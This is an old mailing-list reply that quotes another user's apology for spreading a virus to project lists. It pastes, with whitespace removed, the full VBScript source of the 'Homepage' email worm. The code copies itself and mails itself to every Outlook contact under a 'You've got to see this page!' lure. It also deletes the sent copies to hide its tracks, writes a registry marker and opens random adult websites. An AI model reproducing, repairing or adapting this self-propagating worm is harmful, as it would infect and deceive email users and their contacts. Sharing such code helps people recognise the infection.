And here is the code that was excecuted by the Outlook people
OnErrorResumeNextSetWS=CreateObject("WScript.Shell")SetFSO=Createobject("scripting.filesystemobject")Folder=FSO.GetSpecialFolder(2)SetInF=FSO.OpenTextFile(WScript.ScriptFullname,1)DoWhileInF.AtEndOfStream<>TrueScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlfLoopSetOutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)OutF.writeScriptBufferOutF.closeSetFSO=NothingIfWS.regread("HKCU\software\An\mailed")<>"1"thenMailit()EndIfSets=CreateObject("Outlook.Application")Sett=s.GetNameSpace("MAPI")Setu=t.GetDefaultFolder(6)Fori=1tou.items.countIfu.Items.Item(i).subject="Homepage"Thenu.Items.Item(i).closeu.Items.Item(i).deleteEndIfNextSetu=t.GetDefaultFolder(3)Fori=1tou.items.countIfu.Items.Item(i).subject="Homepage"Thenu.Items.Item(i).deleteEndIfNextRandomizer=Int((4*Rnd)+1)Ifr=1thenWS.Run("http://hardcore.pornbillboard.net/shannon/1.htm";)elseifr=2ThenWS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm";)elseifr=3ThenWS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm";)ElseIfr=4ThenWS.Run("http://sheila.issexy.tv/1.htm";)EndIfFunctionMailit()OnErrorResumeNextSetOutlook=CreateObject("Outlook.Application")IfOutlook="Outlook"ThenSetMapi=Outlook.GetNameSpace("MAPI")SetLists=Mapi.AddressListsForEachListIndexInListsIfListIndex.AddressEntries.Count<>0ThenContactCount=ListIndex.AddressEntries.CountForCount=1ToContactCountSetMail=Outlook.CreateItem(0)SetContact=ListIndex.AddressEntries(Count)Mail.To=Contact.AddressMail.Subject="Homepage"Mail.Body=vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You'vegottoseethispage!It'sreallycool;O)"&vbcrlf&vbcrlfSetAttachment=Mail.AttachmentsAttachment.AddFolder&"\homepage.HTML.vbs"Mail.DeleteAfterSubmit=TrueIfMail.To<>""ThenMail.SendWS.regwrite"HKCU\software\An\mailed","1"EndIfNextEndIfNextEndifEndFunction
(Sorry that I don't bother to put in line breaks) :
On Thursday 10 May 2001 21:35, Ilkka Priha wrote:
> I'm really sorry folks, a virus was in my mail and it seems that I've
> spread it to both Turbine and Velocity mailing lists. My virus protection
> didn't yet detect it. I don't usually open vbx attachments, but this one
> came from one of our marketing guys and the suggestion to look at some
> homepage was just his style and made me careless. I hope this one didn't
> cause too much harm, at least some mail servers have responded and managed
> to stop the virus. I apology once more and will remove list addresses from
> my address book.
>
> -- Ilkka
>
> [mailto:[EMAIL PROTECTED]]
>
>
> ---------------------------------------------------------------------
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
--
Penguins are nice animals -
if you get to know them!
---------------------------------------------------------------------
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
